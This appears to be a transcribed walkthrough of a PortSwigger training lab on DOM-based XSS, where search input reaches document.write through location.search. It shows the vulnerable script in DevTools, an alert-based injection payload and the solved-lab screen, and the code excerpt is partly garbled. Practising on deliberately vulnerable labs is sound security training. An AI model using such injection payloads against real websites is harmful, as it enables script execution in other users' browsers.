

## Lab: DOM XSS in `document.write` sink using `source location.search`

APPRENTICE



LAB

✓ Solved

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript `document.write` function, which writes data out to the page. The `document.write` function is called with data from `location.search`, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the `alert` function.



ACCESS THE LAB

&lt; Back to all topics

What is XSS?

How does XSS work?

Impact of an attack

Proof of concept

Testing

Reflected XSS ▾

Stored XSS ▾

DOM-based XSS ▴

Testing ▴

HTML sinks

JavaScript execution sinks

Using DOM Invader

Home

0 search results for 'hacker'

">hacker<script>alert('Dom XSS by Ranjan')</script>

Search

[< Back to Blog](#)

Developer Tools - Sources tab

File tree: top > 0ac2000604a26c0a8046df... > resources > ?search=hacker

Code editor (Line 88, Column 105):

```
80 <section class=search>
81   <form action=/ method=GET>
82     <input type=text placeholder='Search the blog...' name=search>
83     <button type=submit class=button>Search</button>
84   </form>
85 </section>
86 <script>
87   function trackSearch(query) {
88     document.write('');
89   }
90   var query = (new URLSearchParams(window.location.search)).get('search');
91   if(query) {
92     trackSearch(query);
93   }
94 </script>
95 </script>
96 </script>
```

Right sidebar: Watch, Breakpoints, Scope, Call Stack, XHR/fetch Breakpoints, DOM Breakpoints, Global Listeners, Event Listener Breakpoints

Search bar: hacker

Search results: No search results. Type and press Enter to search.

0ac2000604a26c0a8046df9600c100bc.web-security-academy.net says

Dom XSS by Ranjan

OK

DevTools tabs: Elements | Console | Sources | Network | Performance | Memory | Application | Privacy and security | Lighthouse | Recorder | Adblock Plus

Sources panel: top | 0ac2000604a26c0a8046df... | resources | ?search=%22%3Ehacker...

Workspace: To sync edits to the workspace, drop a folder with your sources here or [Select folder](#)

Shortcuts: Open file (Ctrl P), Run command (Ctrl Shift P)

Line 88, Column 105 | Coverage: n/a

Right sidebar: Watch, Breakpoints (Pause on uncaught exceptions, Pause on caught exceptions), Scope (Not paused), Call Stack (Not paused), X-HTTP/ fetch Breakpoints, DOM Breakpoints, Global Listeners, Event Listener Breakpoints

Search bar: hacker

No search results

Type and press Enter to search



## DOM XSS in document.write sink using source location.search

[Back to lab description](#) >>

LAB Solved

Congratulations, you solved the lab!

Share your skills!



[Continue learning](#) >>

[Home](#)

0 search results for "'>hacker<script>alert('Dom XSS by Ranjan')</script>'

Search

hacker">

[< Back to Blog](#)

